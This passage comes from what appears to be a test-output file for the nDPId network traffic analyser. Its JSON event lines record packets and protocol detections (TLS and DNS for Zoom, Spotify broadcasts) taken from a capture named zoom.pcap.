TKkdvIERhZGR5IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALngyxDUr3a91JNi6zBkuIEIbMME2WIXji\/\/PmXPj85i5jxSHNoWRUtVq3hrY4NikM4PaWyZyBoUi0zMRTPqiNyeo68r\/oBhnXlXxM8u9D8wPF1H\/JoWvMM3lkFRjhFLVPgovtCMvvAwOB7zsCb4Zkdjbd5xJkePOEdT0UYdtOPcAOpFrL28cdmqbwDb280wOnlPX0xH+B3vW8LEnWA7sbJDkdikM07qs9YnT60liqXG9NXQpq50BWRXiLVEVdQtKjo++Li96TIKApRkxBY6UPFKrud5M68MIAd\/6N8EOcJpAmxjUvp3wRvIdIfIuZMYUFQ1S2lOvDvTSS4f3MHSUvsCAwEAAaOCARowggEWMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMB0GA1UdDgQWBBRAwr0njsw0gzCiM9f7bLPwtCyAzjAfBgNVHSMEGDAWgBQ6moUHEGcotu\/2vQVBbiDBlNoP3jA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkcm9vdC1nMi5jcmwwRgYDVR0gBD8wPTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHBzOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBAAh+bJMQyDi4lqmQS\/+hX08E72w+nIgGyVCPpnP3VzEbvrzkL9v4utNb4LTn5nliDgyi12pjczG19ahIpDsILaJdkNe0fCVPEVYwxLZEnXssneVe5u8M"} +02372{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":280627,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU8dNAAO4GX3w0yj7swKgBdQG71lK89wKI+u4Yc1AQAAdArQAAYaq\/5Cob7oSeuIN9wUPORKcTcA2RH\/TIE62DYNnYcqhzJB61rCIOyheJYlhEG6uJJQEAD83EG2LbUbTTD1Eqm\/S8c\/x2zjakzdnYLOqum\/UqspDRTXUYij+KQZAjfVtL\/qQDWJtGssNgYIP4fVBBzsKhkMO77wIv0hVU7kQV2Qqup4oz7bEtdjYm3ATrn\/dhHxXch2\/uRpYoraEmfQoJpy4Eo428+LwEMAEABIEwggR9MIIDZaADAgECAgMb5xUwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAxMDEwNzAwMDBaFw0zMTA1MzAwNzAwMDBaMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/cWII8fpZNPcbyRij94BJWOkigxOmxSBDATuE8eaFSZ8n6vaEG06gtNtwmMcyAbEFPgdO7vT6Ty9ZMCLnqxlWa+KAB\/zzFnWAOVF75fk1tnROqY2CE+S2P6kDg\/qivooVan\/eC8O2GRQFyurDqASUO0Z8Mg3zAGYiyI1pbTaMERi307IcYLQ4+gKMztPdRgfeCj7rXXzIfPuwK1OkkmJpUSUFYRpEgYwsqUOWI9+sOoGaDinFHKnpXR62np4wCjnO8YiA+0tdzDLshWJDJTQCVicBkbQ7cCo\/brHonIgBfZ\/U+dtTbWCdvyznWKu4X0b8zsQbAzwJ60kxXGlGs+BHAgMBAAGjggEXMIIBEzAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUOpqFBxBnKLbv9r0FQW4gwZTaD94wHwYDVR0jBBgwFoAU0sSw0pHUTBFxs2HLPaH+3ahq1OMwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nb2RhZGR5LmNvbS8wMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5nb2RhZGR5LmNvbS9nZHJvb3QuY3JsMEYGA1UdIAQ\/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVodHRwczovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQBZC1O9koYRpyR77Vsxzx0fbHDFuG6+Trv2vpdQ4TB\/uihcYpTC434z9\/tCdoXblRyMIlh1CQyIZWc5ChYJxaA4l6TFI5M\/tBimAQZEkeOnaSe0WiV\/Orcyzd2E\/yo4KTOk3Weyhf6hiCAcUInI3Cr2QgM3TOaI39WvJPKxw9\/MtezgmV63SVQgPJQYDMccUhhJpG3hs1gLydjs2a4cMo4ocA3i\/qYXnoQPvVdws1rpH6CGU7vvfP9pC+BIw7eTC8gKVMSsXRRnN2zKpS8xCDeqbm+MvJviV10kga+Xl5yErWysN0xm82GRESDkvjCfeqQpCbDhNF9kdxhAUd+MMKavAAQEMIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24g"} +00406{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":280708,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBP3AqAF1NMo+7NZSAbv67hhzvPcCiFAQH6WvbAAA"} +02106{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":280793,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"KDc3AG3IEBMx8Tl2CABFAAUM8dRAAO4GYEM0yj7swKgBdQG71lK89wg0+u4Yc1AYAAc76QAAQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQADggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d\/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv2vLM0D9\/AlQiVBDYsoHUwHU9S3\/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32qRe3H3I2TqYXP2WYktsqbl2i\/ojgC95\/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6jYGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta\/KFApMoZFv6yyO9ecw3ud72a9nmYvLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4\/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0OBBYEFNLEsNKR1EwRcbNhyz2h\/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h\/t2oatTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wimPQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1\/blMVgDoszOYtuURXO1v0XJJLXVggKtI3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQHmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0\/ZM\/iZx4mERdEr\/VxqHD3VILs9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX\/bvZ8WAwMBTQwAAUkDABdBBKXwlfpAA1n4m0SYihESb3syohMMCojQDgBn9VTiwaWwKYTUsrdB9O9t0IMEbqsuUqi4VGHHmKJigZ7jk88DiCEGAQEAkJ+aV93Y7Gk13nC4oH346RHegAL0mzuSJCR1rHRxrn0N1O+KNGY1YggQIapzm+dcTCPTpmZoa965jJiY1cJuTnsbnleRD3NawLQZrPxUv2LUSz\/1HbBa51K+ghoSWuljPsSN1pxjrCDyW+Seelw1z+h\/rM0K8TnYwfnXCpCc1JGl2k2wbJh5skL0mO6yfntUh9LuPNysqW03isrZm3QNwpxQyWP4tqwN\/qXwVQnoo9YbT6G054VmPf9cAq3W1GRdtmlvUQMzh+of78E6AnOZTUopBypsS\/RLfknYBmpZM73vOG6\/6IY+rFlLf6hg\/fepwXV4Oqt28Q4pYqe\/63VWUBYDAwAEDgAAAA=="} +01100{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":116,"source":"zoom.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":10,"flow_first_seen":1569520470022,"flow_last_seen":1569520470280,"flow_tot_l4_data_len":6361,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":636,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"52.202.62.236","src_port":54866,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www3.zoom.us","server_names":"*.zoom.us,zoom.us","ja3":"535aca3d99fc247509cd50933cd71d37","ja3s":"3c30f2c064a3aed8cd95de8d68c726a6","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http:\/\/certs.godaddy.com\/repository\/, CN=Go Daddy Secure Certificate Authority - G2","issuerDN":"OU=Domain Control Validated, CN=*.zoom.us","alpn":"http\/1.1","fingerprint":"F7:5A:83:A8:77:24:55:D7:6D:2E:93:F6:6E:9C:C9:7E:AD:9B:3B:E8"}} +00407{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":280878,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBP3AqAF1NMo+7NZSAbv67hhzvPcNGFAQH1ClMQAA"} +00408{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":288060,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBP3AqAF1NMo+7NZSAbv67hhzvPcNGFAQH\/WkjAAA"} +00675{"flow_id":21,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":290982,"pkt_caplen":245,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":245,"pkt_l4_len":211,"pkt":"EBMx8Tl2KDc3AG3ICABFAADnAABAAEAGBD7AqAF1NMo+7NZSAbv67hhzvPcNGFAYIADNpgAAFgMDAEYQAABCQQRJrQH3\/ivayF\/jX0S4lhpGUz3uP2e6JKViw8mVmhI3KjqWdn2Q1I5Y\/HaiLQrul\/sfR17FIvar1sDr3ZRhp5nNFAMDAAEBFgMDADwVcnevx9HS27yVAT\/6chvYlVQRV5MPGZ9NFlXJ8sgETDlF0i6xPN3w\/6os+dCCCW\/rURf3QcDlVLW6hCQWAwMAKBVyd6\/H0dLch3S+Mcpor9M9AMlgie1dfmvFVQLx+fo9\/e5lx3nkwTA="} +00477{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":323440,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"KDc3AG3IEBMx8Tl2CABFAABbYdFAAO8G9B80yj7EwKgBdQG71lFyHwts14g1TVAYAAhFwAAAFAMDAAEBFgMDACiJgi3o1KIQ4DqlEuPTSBzvXsBKiamckvvzF2PbamXhFaGx4+rlJeK3"} +00408{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":323549,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBSXAqAF1NMo+xNZRAbvXiDVNch8Ln1AQH\/73iQAA"} +00695{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":350181,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"EBMx8Tl2KDc3AG3ICABFAAD7AABAAEAGtb7AqAF1rNkVSNZGAbt9MLg2pduNV4AYEAjK4AAAAQEICiWc3wRwmChtFgMBAMIBAAC+AwE5BEH329R9hgOe6JDNh5Do5\/IyBg\/qLeMPj9mOGNz+swAAEgAvADMANQA5wAnACsATwBRWAAEAAIP\/AQABAAAAAB0AGwAAGHd3dy5nb29nbGV0YWdtYW5hZ2VyLmNvbQAXAAAABQAFAQAAAAAzdAAAABIAAAAQADAALgJoMgVoMi0xNgVoMi0xNQVoMi0xNAhzcGR5LzMuMQZzcGR5LzMIaHR0cC8xLjEACwACAQAACgAKAAgAHQAXABgAGQ=="} +00477{"flow_id":21,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":402733,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"KDc3AG3IEBMx8Tl2CABFAABb8dVAAO4GZPM0yj7swKgBdQG71lK89w0Y+u4ZMlAYAAgUCQAAFAMDAAEBFgMDAChbGEiUwAOCZ9FRgX4kqKFYn7b3x1MjrqCat73Y2+zu5RvVWRWd06EJ"} +00408{"flow_id":21,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":402882,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGBP3AqAF1NMo+7NZSAbv67hkyvPcNS1AQH\/6jkQAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":158,"source":"zoom.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1569520470666,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":666966,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAABI4PAAAEARFPDAqAF1wKgB\/+EV4RUANLyaU3BvdFVkcDAJFTOWktM6lAABAARIlcIDDi3QR5gZLZgtSkZtNr91y8rdz4k="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":158,"source":"zoom.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1569520470666,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":159,"source":"zoom.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1569520470741,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":62563,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":741922,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAOwQAAP8R\/OHAqAF1wKgBAfRjADUALIWIr1EBAAABAAAAAAAACnpvb21mcjg1emMEem9vbQJ1cwAAAQAB"} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":159,"source":"zoom.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1569520470741,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":62563,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"zoomfr85zc.zoom.us","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":160,"source":"zoom.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1569520470742,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":58063,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":742102,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABALr4AAP8RCSjAqAF1wKgBAeLPADUALAFaRhQBAAABAAAAAAAACnpvb21mcjg0emMEem9vbQJ1cwAAAQAB"} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":160,"source":"zoom.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1569520470742,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":58063,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"zoomfr84zc.zoom.us","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":161,"source":"zoom.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1569520470742,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.19.144.105","src_port":54867,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":742847,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGEx7AqAF11ROQadZTAbug3l1NAAAAALAC\/\/8zBgAAAgQFtAEDAwUBAQgKJZzghQAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":162,"source":"zoom.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1569520470755,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.19.144.104","src_port":54868,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":755397,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGEx\/AqAF11ROQaNZUAbsLvInbAAAAALAC\/\/+bjgAAAgQFtAEDAwUBAQgKJZzgkQAAAAAEAgAA"} +00462{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":768577,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"KDc3AG3IEBMx8Tl2CABFAABQFgoAADcR6czAqAEBwKgBdQA19GMAPOFdr1GBgAABAAEAAAAACnpvb21mcjg1emMEem9vbQJ1cwAAAQABwAwAAQABAAABLAAE1fSMVQ=="} +00666{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":163,"source":"zoom.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":2,"flow_first_seen":1569520470741,"flow_last_seen":1569520470768,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":44,"flow_max_l4_data_len":60,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"192.168.1.1","src_port":62563,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Zoom","breed":"Acceptable","category":"Video"},"dns": {"query":"zoomfr85zc.zoom.us","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"213.244.140.85"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":164,"source":"zoom.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1569520470769,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.244.140.85","src_port":54869,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":769557,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGFlHAqAF11fSMVdZVAbvq+zZHAAAAALAC\/\/8TBgAAAgQFtAEDAwUBAQgKJZzgnwAAAAAEAgAA"} +00434{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":775023,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADAGIyLVE5BpwKgBdQG71lPrn+6AoN5dTqASqbAo0wAAAgQFrAQCCAp4fR7ZJZzghQEDAww="} +00423{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":775077,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGEyrAqAF11ROQadZTAbug3l1O65\/ugYAQECzxAQAAAQEICiWc4KR4fR7Z"} +01122{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":775257,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI5AABAAEAGESXAqAF11ROQadZTAbug3l1O65\/ugYAYECymXAAAAQEICiWc4KR4fR7ZFgMBAgABAAH8AwPRx3t0AQC89u4npqZep9xPHWEGdKDNX7\/XvDvIBxB6XwAAusAwwCzAKMAkwBTACgClAKMAoQCfAGsAagBpAGgAOQA4ADcANgCIAIcAhgCFwBkApwBtADoAicAywC7AKsAmwA\/ABQCdAD0ANQCEwC\/AK8AnwCPAE8AJAKQAogCgAJ4AZwBAAD8APgAzADIAMQAwAJoAmQCYAJcARQBEAEMAQsAYAKYAbAA0AJsARsAxwC3AKcAlwA7ABACcADwALwCWAEEAB8ASwAgAFgATABAADcAXABvADcADAAoA\/wEAARkAAAAYABYAABN6b29tYW0xMDV6Yy56b29tLnVzAAsABAMAAQIACgAcABoAFwA